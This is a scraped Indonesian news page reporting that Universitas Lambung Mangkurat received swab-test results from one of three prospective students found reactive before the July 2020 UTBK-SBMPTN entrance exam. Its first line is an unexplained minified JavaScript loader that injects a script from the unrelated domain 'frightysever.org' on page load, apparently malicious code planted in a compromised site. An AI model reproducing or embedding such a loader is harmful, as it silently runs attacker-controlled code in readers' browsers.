(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Universitas Lambung Mangkurat (ULM) Banjarmasin telah menerima laporan hasil uji swab test yang dijalani oleh salah satu dari tiga orang calon mahasiswa yang dinyatakan reaktif saat hendak mengikuti seleksi penerimaan mahasiswa.
Seperti diketahui, pada Minggu (5/7/2020) lalu, tiga orang calon mahasiswa tidak bisa mengikuti tahap Ujian Tertulis Berbasis Komputer (UTBK), jalur Seleksi Bersama Masuk Perguruan Tinggi Negeri (SBMPTN) yang dilakukan di Gedung ULM Banjarmasin.
Wakil Rektor I Bidang Akademik ULM Banjarmasin Dr H Aminuddin Prahatama mengatakan, dari tiga calon mahasiswa tersebut, satu diantaranya telah menyampaikan hasil test swab yang sudah dijalaninya.
“Satu di antara ketiga calon mahasiswa yang reaktif tadi sudah ada yang memberikan hasil swab kepada kami,” kata Aminuddin, Rabu (8/7/2020).
Ia membeberkan, hasil pemeriksaan menunjukkan kalau mahasiswa tersebut telah menjalani pemeriksaan swab test sebanyak tiga kali. Sebelumnya, ia menjalani dua kali pemeriksaan swab dinyatakan positif. “Dan yang ketiga hasilnya alhamdulilah sudah negatif,” bebernya.
Namun demikian, ia mengaku masih belum bisa memutuskan terkait dengan test UTBK SBMPTN yang harus dijalani oleh calon mahasiswa tersebut. Karena, pihaknya menunggu hasil pemeriksaan swab yang ke empat dari yang bersangkutan.
Di samping itu, ia menyebut bahwa yang menyerahkan hasil pemeriksaan swab baru satu orang. “Dua orang calon mahasiswa reaktif kemarin masih belum melaporkan hasil swab-nya, mereka akan dimasukan kedalam sesi cadangan,” ungkap Aminuddin.
Menurutnya, hal ini sudah dilaporkan kepada Lembaga Tes Masuk Perguruan Tinggi di Jakarta. Sebab, jika ada peserta yang dinyatakan reaktif ataupun positif maka perkembangannya harus disampaikan untuk dilakukan proses penanganan.
Aminuddin mengungkapkan, bahwa tiga orang calon mahasiswa yang terkonfirmasi reaktif tersebut berasal dari tiga daerah yang berbeda. “Masing-masing diantaranya berasal dari Kota Banjarbaru, Kota Banjarmasin dan Kabupaten Barito Kuala,” pungkasnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.